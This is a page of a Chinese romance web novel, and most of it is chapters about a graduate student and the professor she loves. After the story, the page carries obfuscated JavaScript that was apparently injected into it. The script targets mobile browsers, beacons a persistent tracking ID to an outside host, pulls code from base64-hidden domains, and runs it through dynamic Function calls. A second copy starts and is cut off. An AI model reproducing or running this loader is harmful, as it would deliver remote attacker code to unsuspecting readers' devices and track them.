黎童童几乎一夜没睡,等任维骐送她回到自己的公寓时,已经是凌晨一点了。

而他踏进她的房子后,当下便明白,原来她就住在自己的对面公寓,甚至透过窗户就能清楚看到他家。

忽地,他挑起眉尖,发现这一切都太过于巧合……

任维骐开始明白,原来这小妮子早就偷窥他许久,甚至还摸清了他的生活作息,才会在早晨与他来个“巧遇”戏码。

该说她聪明呢?还是要说她是个小笨蛋呢?

她对他竟然一点提防之心也没有,不怕她的小秘密被发现,还引狼入室邀请他进入她的屋子里。

黎童童现下根本没有力气思考,也没意会自己露了馅。

任维骐环视着她的小公寓,虽然坪数不大,但还算干净、简洁,而且对一个女孩子来说,空间绰绰有余。

这个房子,就像她给他的感觉,外表清冷,可内心却是粉嫩无瑕。

“原来,你就住在我对面的公寓。”任维骐故意这么说,想听听看黎童童怎么回答。

黎童童一脸倦容,她再也不要自作聪明地去找他闲话家常,他根本是教学狂,硬是逼她读完一堆学问。

不过一听到他的问题,她原本沉重的眼皮弹跳一下,突然觉得有不好的预感。

呃……他不会发现,她就是这样偷窥他的吧?

任维骐走到窗户边,故意拉开窗帘,往外头探了探。

“没想到透过窗户,可以很清楚看到我的公寓。”他回头说着,正好发现她心虚的表情。

“呃……是啊!”黎童童笑得尴尬,右手摸摸头发,眼光不敢直视任维骐。

他当然看得出她心虚的表情,于是靠近她,扬起薄唇,“难道,你曾经透过这扇窗偷看过我?”

黎童童表情一愣,脚步连连后退几步,偷偷抬起小脸,发现他很认真地望着她,而她只能给他一抹傻笑,伸手抓抓自己的发丝。

“你这是默认吗?”任维骐没有想到,她竟然有这么诚实的一面。

黎童童轻抿着唇,坐在沙发上,不语地低着小脸。

任维骐来到她的身边,很自然地将她搂进自己怀里,闻着她的发香。

“呃……”黎童童差点咬到自己的舌尖,只能拼命故作镇定。“我如果打开窗户,不小心就会看到你的公寓……”

这个解释应该可以瞒混过去吧?她脸上扬起一抹傻笑,带着一种怕被发现的心虚。

“想一想,我们两个还真有缘分。”任维骐也不戳破黎童童的谎言。就算是笨蛋,也能看出她清澈的眼睛在说谎。

“对啊!”黎童童用力点点头,发现全身上下都紧绷着。

拜托,她现在头昏脑胀的,千万不要再盘问她事情,她快要露出马脚了啦!

仿佛听到黎童童心里的话,任维骐淡然一笑。“既然我们住这么近,以后早上就一起运动、慢跑吧!”

“什么?”黎童童不可思议地看着任维骐。“运、运动?”

“你的模样太弱不禁风了,感觉没几两肉,依你的体力,以后要在社会上立足有点吃力,倒不如从明早开始,让我来训练你的体力。”任维骐展开笑容,笑得如同太阳般灿烂。

“我……”黎童童直觉地想开口拒绝。

就算她之前为了摸清他的底,每天都起个大早,但这并不代表她有体力和他一起去公园运动。

她上次故意跟踪他,跑了半小时就气喘如牛,要她每天按时运动,她怕她的心脏负荷不了。

而且,他还说从今天开始……

天啊!离六点只剩下五小时而已。

“我早上来接你,我先回去了。”他把她当成小孩子,揉揉她那颗沉重的脑袋,便离开她的公寓。

“我不要啦!”黎童童无力地跪坐在地板上,双眼无神地看着关上的铁门,以哭丧的声音嚷着。

为什么事情会变成这样?她明明跟他告白了,可是为什么他还是一副书呆子模样,完全扭曲她的意思就算了,还强迫她的生活要跟他一样有规律?

呜呜……她错了,她能不能把对他的喜欢给收回来呀?

逗你逗上瘾2

每天每天

只要能和你说说话

就变成天底下最幸运的人……

第四章

六个月后

叮咚!

清脆的门铃声在小小的公寓里响起。

没听到、没听到,她没听到!

床上的可人儿拉起被子蒙头大睡,不想理会外头那吵扰的声音。

叮咚、叮咚、叮咚──

急促又带着节奏感的声音、持续又坚持地响着。

黎童童恨极这讨人厌却又每天准时的门铃声,不管刮风还是下雨,任维骐准时六点十五分出现在她的公寓外头,用着他超有耐性的脾气叫她起床。

妈的!她好想为他的毅力以及耐性骂一连串的脏话,因为他已经坚持好几个月了。

尽管她已经从学校毕业,与他不再是师生关系,他依然坚持要训练她的体力。

他给了她一个烂理由──研究生更需要耐操的体力。

去他的体力、去他的研究生、去他的任维骐!

她现在只想狠狠睡觉,根本不想在清晨起床跑步。

突然,屋里恢复一阵安静,黎童童以为门外的男人放弃原来的初衷,丢下她一个人运动去了。

她正在为自己的装死感到高兴时,忽然棉被被猛地一拉,一股冷冽的空气灌进来,让她放声尖叫。

“啊──好冷!”

拉起棉被的不是别人,就是在门外按电铃按了半天的任维骐,他挑着眉,看着缩成一团的黎童童。

“我以为你睡死了,没想到你早就醒了。”任维骐笑得十分不怀好意,却斯文俊美依旧,一样讨女人喜欢。

如果是几个月前的黎童童,肯定会被他斯文、俊美的外表所迷惑,毕竟他是她喜欢的男人。

但是这几个月来,他们几乎日日夜夜相处在一起,他那斯文温和的面具终于出现裂缝。

机车咧!一想到他的真面目,她又忍不住低咒几声。

她当初肯定是“卡到阴”,才会煳里煳涂地喜欢上他,认为他是居家型好男人。

大错特错!她根本没想到他竟然是伪君子,是卑鄙小人,那张斯文有气质的脸庞根本只是假象,实际上,他是个爱欺负人的恶魔。

经过日以继夜的相处,她因为相信他,将公寓的钥匙多打了一把给他,他也给了她备用钥匙。

她以为他总算开窍,明白她对他的爱意。

去他的担担面!他给她备用钥匙,其实只是要她每天去他家里帮他做晚饭!

黎童童缩在床角,眼里仿佛看到恶魔般,不知是因为看到任维骐,还是因为空气微凉而发抖。

“看来经过这几个月的训练,你的体力还是一样的差。”任维骐打量着黎童童身上的单薄睡衣。

“王八蛋!”这几个月来,她被他气到满口粗话,一扫之前有气质的形象。“把棉被还给我!”

“六点二十分。”他若听她的话,他的名字倒着写!

他毫无同情心地将她从床上拉起来,又将她拉进浴室,随便抓起一条毛巾,以冷水浸湿,往她脸上抹去……

“啊──”冰啊!黎童童胡乱叫着,这男人怎么一点都不懂得怜香惜玉?

呜呜……他是个恶魔,与他当初在学校的形象超级不搭。

“你要自己动手,还是要我继续帮你服务?”任维骐的脸上总是有着淡淡的笑容,可一双眸子却透着邪气。

他承认,这几个月他逗她逗上瘾了,最后忘了将自己真实的面具戴好,让她发现他的温文儒雅只是虚伪的外表,使得她从此对他少了那份迷恋。

仿佛看清楚他的真面目,她似乎急着想要与他撇清关系。

但是怎么可能呢?她可是他看上的猎物,怎么可能让她说来就来、说走就走?

她闯入他的世界,没有他的允许,他不准她任性离开。

不过他没有明白告诉她,其实他对她有一种特别情感,尤其这几个月相处下来,她早已深深吸引他的目光。

可他还想多逗逗她,换他将喜欢她的事实当成秘密,而且,这个秘密只有他知道,她并不知道。

黎童童一边盥洗,一边低咒,“我一定上辈子没烧好香,竟然会喜欢上你,还觉得你会是个好男人,我一定是卡到阴……”

她真是犯贱啊!没办法,这几个月他没有一天缺席,从原先的不习惯,渐渐被他调教成习惯,慢慢适应了他的欺负……

她被他调教出奴性了,口中说不要,可身体却很认命地去完成。

因为──她斗不过他呀!

“换衣服。”任维骐坐在沙发上,好整以暇地扬起笑容。

黎童童恨恨地咬着唇瓣,原本想要吠回去的字句,到了舌尖又全都很没志气地咽下。

她在心里骂着需要消音的脏话,拿了衣服走进浴室更换。唉!她就是没种当面骂他……

他就像她的紧箍咒,不用生气的态度对她,而是找到机会就报复她脱轨的行为,让她深深反悔。

一脸苍白的黎童童换好衣服之后,来到任维骐面前,口中还不断啐啐念着。

任维骐则是满意地点头。“运动是为了让你的心肺功能更好。”他总是用这个理由,强迫她过着有规律的生活。

然后,他们的一天又开始了。

每天早晨的运动,都让黎童童累得像条狗。

而她考上的研究所,就是直升X大的研究所,换句话说,她的活动范围依然是任维骐的淫威范围。

任维骐开车送黎童童到学校之后,便走向他的研究室,而她也拖着沉重的脚步,准备往自己的研究室走去。

她不断责备自己,当初为什么要喜欢上这个表里不一的男人?而且,他似乎永远也感受不到她喜欢他的电波,只是把她当朋友……

她喜欢他,他却不明白;经过这几个月,她的爱开始带着怨恨。

不行,她一定要想办法逃离他的魔掌,要不然她的体力会透支,因为她不但回家要写论文,晚上还得去帮他煮饭,每天回到家都要忙到三更半夜。

甚至因为怕让他知道她熬夜,晚上她只敢开盏小灯夜战,而不知情的他,还每天准时叫她起床,讥笑她体力不好……

唉!她每天睡不到四小时、体力要怎么好?

“黎童童,我、我有东西想交给你……”一名大男孩突然挡在黎童童面前。

他腼腆地拿着一封信,脸颊有点烫红,身旁还有几名大男生,陪他一起起哄。

低吟沉思的黎童童突然被拦了下来,一张鹅蛋脸没有任何表情,澄澈如一潭清水的眸子,淡淡地望了男孩手上的信封之后,又移到男孩脸上。

“给我你的遗书做什么?”她冷漠地说完,周围的男孩们全都倒抽一口气。

“这……这不是遗书!”男孩急得慌张地摇头。

黎童童挑起一双细眉,不解地望着他。“我跟你不熟,别给我白包。”存心触她霉头吗?

这句话一出,所有的大男孩全都额冒三条黑线。

“志明,我看你还是趁现在收手,我听说这个黎童童很难搞的。”死党兼好友苦口婆心规劝。

但是他们不得不佩服张志明的勇气,竟然想不开地想跟心理系的黎童童告白。

果然,信还没交出去,就被黎童童那张出名的利嘴给刁难了。

“童童,我真的很喜欢你!”张志明很坚持,硬是要黎童童将信收下。“请你接受我的告白。”

黎童童退后一步,抬起一双清冷的眸子,皱着的柳眉表示耐心已经用完了。

“我真的很喜欢你,请你当我的女朋友好吗?”张志明锲而不舍,咧开一抹阳光的笑容。

“让开。”黎童童看看手表,她原本想要到研究室补个眠,再这样拖下去,她的时间又一点一滴被浪费了。

“童童,我是真的喜欢你!”张志明硬是将手上的信放到黎童童手上。“请你一定要答应我……”

“答应什么?”黎童童的火气被挑起,澄澈的双眸怒瞪着他。“我干嘛答应和一只猪交往?你以为你的长相人畜无害吗?难道你不知道我看到你就觉得眼睛很痛吗?”

一字一句如同针刺,狠狠刺伤少男纯情的心,当场,所有在场的男孩没人敢吭一声。

这女人的嘴巴实在有够毒辣,一言一语根本就像万剑穿心。

“我是真心的。”张志明一脸坚持,似乎不畏恶势力。“虽然全校的人都知道你嘴巴毒,但我相信你的心地是善良无比的……”

“靠!”黎童童忍不住骂出粗俗的单字。“你上辈子是植物人投胎吗?我跟你说人话你听不懂是不是?我现在要赶去上课,你识相的话就滚远一点。”

“童童,我知道这是你的保护色,你在大学时还不会这样,我相信你过去一定受了很严重的伤害,所以考上研究所才会变成这样。没关系,以后我可以让你靠,你就不必这么辛苦地伪装自己……”张志明依然一副痴情的模样。

烦死了!人鬼殊途,她果然不能和他沟通。

“靠什么靠,一直在这里靠靠靠靠的……”黎童童又望了眼手表,看来她是不能多睡了。“你知不知道我一见你就讨厌、再见你一眼都替你爸妈难过。好好的人不做,干嘛一直作践自己?走开!”

黎童童觉得自己真是废话太多,一把抢过张志明手上的信,当着他的面撕成两半,然后丢回他面前。

张志明一脸惊讶,没想到自己用心良苦写出来的情书,黎童童竟然连看都没看就这么撕掉了。

呜呜……他是悲惨的美少男。张志明捡起地上的碎片,心也碎成一片片,与同伴们黯然离开。

黎童童冷眼望着张志明的背影,她的心一点都没有感觉,也不觉得有什么罪恶感。

男人嘛,多受点刺激才会长大的。

而且姑娘她现在严重睡眠不足,根本没有多余的时间与其它人谈情说爱,搞徐志摩那套风花雪月。

这就是她,长相清清秀秀的,可是说话却毒辣万分,若是惹怒了她,上至祖宗八代、下至老师都会遭到她的问候。

“你不觉得这样做有点残忍吗?”

温柔的低沉男声在黎童童背后响起,语气不像是责怪,反而有一种饶富趣味的味道。

“关你屁事!”黎童童现在很不爽,回头瞪着想讨骂的多事者。

只是这一回头,她的胃又开始隐隐作痛──

任维骐站在黎童童身后,双手环胸地看着她。

其实他之所以折回来,是因为她忘了把课本带走,所以他才回头找她。

没想到一回头,竟然就看到有人跟她告白。

见到那样的场面,他的胃液仿佛瞬间逆流,一股酸味涌上喉头。

但他捺着性子继续看下去,见她狠狠拒绝对方,才压下那股异样的感觉。

如果她收下那封信,他发誓他会走过去,将那封信一把烧掉,然后放水流!

想要染指她?下辈子吧!

“你……”黎童童指着任维骐的鼻子低喊。“你干嘛偷听我们说话?”

“不小心经过。”他将手上的课本交给她。“小迷煳,连课本没带都没发现。”

黎童童接过厚重的课本,嘟着小嘴。“哦,谢谢。”

老实说,刚刚的告白让她想起,原来自己心底还是放着一个人……

那个人不是别人,正是面前的任维骐。

只是,不管她明示、暗示,想要让他了解她其实是喜欢他的,总是被他不以为意地模煳了焦点。

他明明知道她喜欢他,但他却不曾给她正面的响应……

原来,这才是她怨恨、不服气的地方。

他一直跟她打哈哈,让她觉得很烦,就像是心被悬在半空中。她一直都得不到答案,他总是把她当成洋娃娃般玩弄,欺负她,却又疼爱她。

她要考研究所时,压力比平常还要大,他总是以无限的耐心教她怎么准备。至于假日,他也会带她到郊外走走,要不然就是上街逛逛。

两人是很亲密,但是关系的定位却很模煳……

“没想到你的行情比我想像中还要好。”任维骐的语气中带着一点微酸,自己却没有发现。“一大早就收到告白。”

“哪有任教授受欢迎?”黎童童忍不住讥讽回去。“大学部的女同学对你为之疯狂不已,我哪比得上你?”

他挑眉,她今天怎么一直反抗他?

“看来我太小看你了。”他偷偷收起不悦的感觉,在她面前表现出自然、不在意的模样。“原来研究所里,还是有迷恋你的小粉丝。”

她皱皱鼻子,感觉他今天说话特别酸。

以前的他并不会这样,为什么今天感觉特别不一样?

“我又不是没人要。”她轻咬着唇瓣。“是我不要他们。”

“我知道。”他上前以食指勾起她的下巴。

“你知道个屁!”她微怒地拍掉他的长指。

“你喜欢我。”他笑得很欠揍,像是吃定她一般。“而且,还是很喜欢那种。”

她的脸很没志气地涨红,双眸骨碌碌地瞪着他。

原来,他早就明白她很喜欢他……可恶!

“现在我不喜欢你了!”为了扳回面子,黎童童故意说着反话。

“是吗?”任维骐不在意地耸耸肩。“除了喜欢我,你没有第二人选了。”

他很有自信,因为他早就吃定了她。

“我……我有!”

就算没有,她也会努力寻找,然后气死他!

原来他早就知道她喜欢他,还一直装傻,不给她任何响应,根本就是在耍她嘛!

任维骐轻笑一声,似乎在笑她的天真。“乖,记得准时回家煮饭。”他一点也没将她的话放在心上,潇洒地转身离开。

他自信地认为,她不会喜欢上其它男人,所以,他一直没告诉她,他也爱上她了,所以她只能属于他一个人……

不过,这是秘密,黎童童当然不知道。

她气得牙痒痒的,哼!这男人根本就把她瞧扁了!

欺负人也要有一个限度,她最讨厌别人把她当成笨蛋了!

好,她就去找个男人代替他!

证明……她也可以选择不要继续喜欢他!

第五章

但是,黎童童这窝草,在X大没有人吃得起。

一方面因为她的眼高于顶,一方面她与任维骐又走得很近,一堆八卦风声传遍校园。

不过她不在意,也向来不去澄清。任维骐更是潇洒,每当遇到这个问题,总是拿出一派斯文的笑容响应,没有多做解释。

久了,别人也就默认了他们的关系。

学校里没人敢追,黎童童决定回去找老爹,请老爹帮她安排相亲。

她就不相信,她的条件会差到这种地步,没有一个男人喜欢她!

而她,也不必那么没志气,去喜欢一个只会逗弄她的男人,而从来不响应她的心意。

更过分的是,他把她当笨蛋,明明知道,却又装傻,看她这样团团转,他很高兴是吗?

黎童童决定好之后,当晚便回家,利诱兼威胁黎老爹帮她安排相亲,介绍一个男人给她!

管他是哪个男人,她就是不要再喜欢任维骐了啦!

所以她请了一个月的假,跑回台北先睡个三天三夜之后,便开始“卢”黎老爹。

黎老爹当然高兴到差点翻过去,没想到三女儿会主动要求相亲,他可乐了!所以动作很快地便安排好相亲。

听说相亲对象的来头不小,是某间金控公司的顾问,虽不是出生豪门,但却身价上亿。

于是,黎童童打扮得像个小公主,一头乌熘熘的长发披在脑后,发间别了一只发饰,身上穿着鹅黄色的小礼服,看起来清纯却又带着成熟。

黎老爹和黎童童来到约定的大饭店,才刚走进包厢,黎童童就有一种想要回家的冲动,前进的脚步也停下了──

“童童,怎么了?”

黎老爹的手被女儿勾着,脚步也因此慢了下来。

黎童童站在门口,望着前方西装笔挺的男子,差点成为雕像,她真的觉得自己卡到阴了!

因为,他简直是阴魂不散嘛!

任维骐坐在包厢里头,唇边扬起冷笑,扬弃原本的温和表情,表现出一副市侩嘴脸。

“他他他……”黎童童没礼貌地指着前方的男人,伶俐的嘴巴又说不出话来了。

“他叫任维骐,目前虽然在某大学教书,不过听说是金阳金控的顾问,身价相当看好。”黎老爹倒是很满意对方的身世背景。

“我突然觉得人不舒服,想要回家休息……”她的胃隐隐作痛,根本不清楚为什么任维骐会出现在这里。

“真巧。”任维骐看见黎童童想要转身逃跑,很快地从位置上站起,潇洒地来到她面前,一把揪住她的手臂,让她没有机会逃离他的眼前。

见鬼了!黎童童心里暗骂一声。

她相信这绝对不是巧合,就像她和他的第一次见面,也不是巧合,而是她故意制造的机会。

“你们认识?”黎老爹一脸惊讶,没想到他们似乎很熟稔的样子。

“我们不仅认识,还很熟。”任维骐展开笑容,笑得可贼了。“我在学校任职,童童正好是我的学生,而且我们又很巧地住在附近……”

见他似乎还想和自己的老爹聊下去,她故意用手肘撞了他一下,希望他不要再说下去。

“童童害羞了。”任维骐上前搂住黎童童的肩膀。“不过,要跟黎伯父道个歉,其实我和她早就在交往了。只是前几天和她闹了小脾气,就让她气得想要和别人相亲,幸好我早就打听好了,正巧我也想利用这个机会见见童童的家人。”

他的话说得可好听了,但是听在黎童童耳里,差点没气得吐血。

他怎么可以说这种不要脸的话?他们明明就没有在交往,怎么可以这样颠倒是非?

“这样我就放心了。”黎老爹还真的相信任维骐的话。“童童啊,你就别小孩子气了,他都为你安排了今天这场惊喜,你就别任性了,要好好经营得来不易的感情,知道吗?”

“老爹,我……”

“好好好,我懂。”黎老爹轻拍黎童童的小脸。“老爹让你们独处,晚一点让任先生送你回去,老爹先走一步。”

黎老爹相信任维骐的诚意,故意忽略黎童童求救的眼神,完全不知道自己这样的行为,是把女儿往火坑里推。

包厢的门一关上,黎童童知道唯一的救命生机不见了。

回头,瞧见的是任维骐一脸邪恶的冷笑,他的食指勾起她尖尖的下巴,以沉稳好听的声音开口说道:“你最好能找到理由,来跟我解释这一切。”

理由?!

她会有什么理由啊?

黎童童咬着粉嫩的唇瓣,难得她今天打扮得那么漂亮,可是却遇上如此窘困的情况。

如果现在能出现一个帮她解围的人,她一定会感谢他的大恩大德,甚至以身相许也没问题。

可是,那根本是痴人作梦。

“我不喜欢你了!”黎童童硬着头皮说出心里的话。“你根本就是把我当笨蛋耍,这样好玩吗?”

“我有把你当笨蛋吗?”任维骐轻声问着。

“有。”黎童童生气地抬眸,气唿唿地瞪着他。

“请举例。”他决定给她一个反驳的机会,如果找不到一个好理由,那么他会给她一点惩罚。

想找别的男人?当他死了,还是不举了?

“你明明知道我喜欢你,可是你却故意当作不知道,让我们之间总是暧昧不清,结果前几天你竟然告诉我,你全部都知道……”黎童童生气地咬牙,差点就失控地冲上前用力咬他。“你根本就是把我当白痴耍,玩弄人很有趣吗?”

任维骐沉默了许久,以一双黑眸看着她。

她说的是事实,他就是因为逗她逗上瘾,看着她可爱的表情觉得好玩,才会故意这样捉弄她。

但是,他并不是将她当白痴耍,他只是觉得她很可爱。

“噗!”他的反应是轻笑出声。

“你你你……”他笑个屁!“你笑什么笑?有什么好笑的?我就是不要再继续被你当白痴耍,才决定要找其它男人爱,不行吗?”

“不行。”任维骐边笑边说,现下这一刻,他很想将她抱进怀里。“我说过你只能爱我。”

“凭什么要我一直爱着你?”黎童童皱起眉,突然觉得眼眶有抹酸楚。“喜欢一个无心的男人,是没有结果的。”

“你怎能妄自下决定,说我无心?”任维骐望着她认真的表情。

没想到,她认真的小脸,竟然深深勾起他的疼惜。

“因为……”黎童童说不出一个事实。“可是我很清楚明白,我喜欢你!但你却不曾告诉我你对我的感觉。”

“那你就可以解读成我不喜欢你?”他扣紧她的下巴,笑容微敛。

“你除了会欺负我,还会什么?”

虽然她还是第一次见到他这么生气的表情,但是他生气,不代表他就有道理。

她在跟他讲理,甚至他要理由,她也说了一串,只有他,什么都不肯说,一直要她去猜。

这几个月来,他就像风一样捉摸不定,虽然感受到他在身边,却一直捉不到他的心。

“我还会……”他的眼里闪过一丝狡狯,低头就吻住了她的唇瓣。

望着映入眼里的放大俊颜,黎童童完全愣住了。

这是他第一次对她做出逾矩的举动,两人的相处从来没有这么亲密过。

顶多,偶尔他们外出时,他厚实的大掌会突然牵住她的小手,但过了马路后,便又松开她的手。

而他今天竟然吻住她的唇瓣,以舌尖撬开她的唇,滑入她的檀口之中,取得她口里的甜液?!

任维骐早就想要这么做了,只是他的身份不应放肆,所以这几个月以来,都是以暧昧的态度对待她。

但回到台北就不同了!在台北,他不是一名教授,而是一个单独的个体,没有必要再顾虑别人的眼光,也不用担心让自己的恩师蒙羞,谣传他真的对女学生下手。

所以,他才故意以打哈哈的方式,一边欺负她,一边与她玩着这样的游戏。

天知道,每天朝夕相处,有好几次他差点把持不住自己,这女人根本没有发现到他的痛楚。

他只好将不能发泄的体力,转换成逗她的乐趣。

当他吻上她的唇时,他马上变身成一头猛兽,不但吸吮她的唇,舌尖还不断挑弄着她口里的粉舌。

她像是受到惊吓,只是眼巴巴地望着他。

为什么他要吻她呢?她眨眸,一不小心眼眶里的泪水就掉了下来。

咸咸的,被他的味蕾尝到,让他停下动作……

见到黎童童脸颊的泪珠,任维骐几乎是慌了手脚。

“为什么哭?”见到她的泪水,所有的自信全部瓦解崩溃。

“你并不是那么喜欢我,为什么要吻我?”她泪眼婆娑地望着他,语气有些责备。

他不应该吻她的!

当他的吻印上她的唇时,她原本的坚决又崩坍了,这才知道,原来心里头的喜欢根本没有办法消灭。

虽然口中喊着不要再喜欢他,但她管不住她的心,没有办法自拔,脱离这样的困境。

“我有说不喜欢你吗?”他挑眉,以大掌抹去她脸颊上的泪痕。

“但你并没有说过喜欢我。”她哽咽地说着,哭得像个小孩似的。

原来不确定的感觉会让她这么慌张,尽管他们天天相处在一起,但是一想到他的心里没有她,随时都可以将她抛开,她的心就默默作疼。

明明要装作不在意,但是酸楚还是会涌上心头,所以她才会让自己无限忙碌,别去想他们之间不明确的关系。

可相处久了,那妾身不明的感觉让她好难受……

他的一句喜欢,就是一颗定心丸,而他始终不给予。

“我心里有一个小秘密。”他低头望着她,让她坐在布满菜肴的餐桌前。“从我知道你喜欢我之后,我也喜欢着你。”

她的小口微张,仿佛听到火星话般惊讶。

她有没有听错?他说他也喜欢她耶!她不可思议地抓着他的大掌。“你喜欢我?你真的喜欢我?”

“嗯,喜欢你这个小笨蛋。”他轻笑,为她抹去脸上的泪痕。“你真以为我对你一点感觉都没有吗?”

“你只会欺负我。”她嘟着小嘴,又惊又喜地说:“那为什么现在又想对我坦诚你对我的感情?难不成你又想玩弄我?”

他翻了翻白眼,这女人该精明时不精明,不该精明时又爱故作聪明。

“你都气昏了,想找别的男人去爱,我还能不出声吗?”他挑眉,一副不饶她的表情。“你很有志气,还真的准备相亲……”

她故作可怜地望着他。“你怎么知道我回台北,而且还要相亲?”

“我对你了若指掌。”他笑得很无害,可骨子里却是一只老狐狸,狡猾得很。“你和我第一次见面时,我就调查了你的底细。”

“什么?”她变了脸,没想到他这么小人。“你很卑鄙耶……”

“是你的伎俩太小儿科,而且演技还有待加强。”他笑得很欠扁。“而且,我还知道你偷翻过我的内裤。”

她一听,小脸倏地红了起来,连这事他也知道?!

“你怎么可以这样啦!”她生气地咬了他手臂一口。“这几个月来,你明明知道我喜欢你,你还故意装傻!”

他不以为意,任由她啃啮着。

“没办法,我答应恩师去X大教学一年,正好你又要准备研究所,为了我们双方好,我必须阻止你沉沦下去,让你考上研究所,然后我们才能大方公开。”

她哀怨地望着他,他的心思固然慎密,但是却整她整了三个月。

“你好过分!”她嘟起小嘴,“你真的是卑鄙小人耶!为什么你对我的事这么了若指掌,你还对我那么苛刻?老是欺负我,要我帮你煮饭,而且早上还要去慢跑……”

“这都是为了我们以后着想。”

他大方地搂住她的腰际。“训练你做家事,以后我出差,你就不会饿着自己;每天带你去慢跑,是训练你的体力,要不然以后我们在床上恩爱时,你累到睡着,那我怎么办?”

“下流。”她又多奉送他一个名词。

“谢谢。”他接收,当作是夸奖。“我给你的答案,你可否满意?”

她低吟一声,脸上的泪痕被他的大掌抹去,她轻咬着唇瓣。“你……真的喜欢我?”

“要不然我干嘛出现在这里?”他眯眸反问。

她不会那么笨吧?连他出现的原因都不晓得,真该打!

“那你要答应我,以后不可以欺负我!”她娇嗔地说,态度软化许多。

好吧,她承认她满好哄的,几句话就把她哄得服服帖帖。

不过他是真的有把心放在她的身上,知道她请假回台北,表示他还关心着她,今天才会玩这样的把戏。

她就大人有大量,原谅他过去的无知。

“我尽量。”他低声回答,不过他可没有答应不逗她。

总算,美人儿展开一抹尽释前嫌的笑容,甜甜蜜蜜地拥抱着他。

一种幸福,正在她心里洋溢,填满她原本空虚的心……


上一篇:疯癫老人日记

下一篇:红粉恋


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var 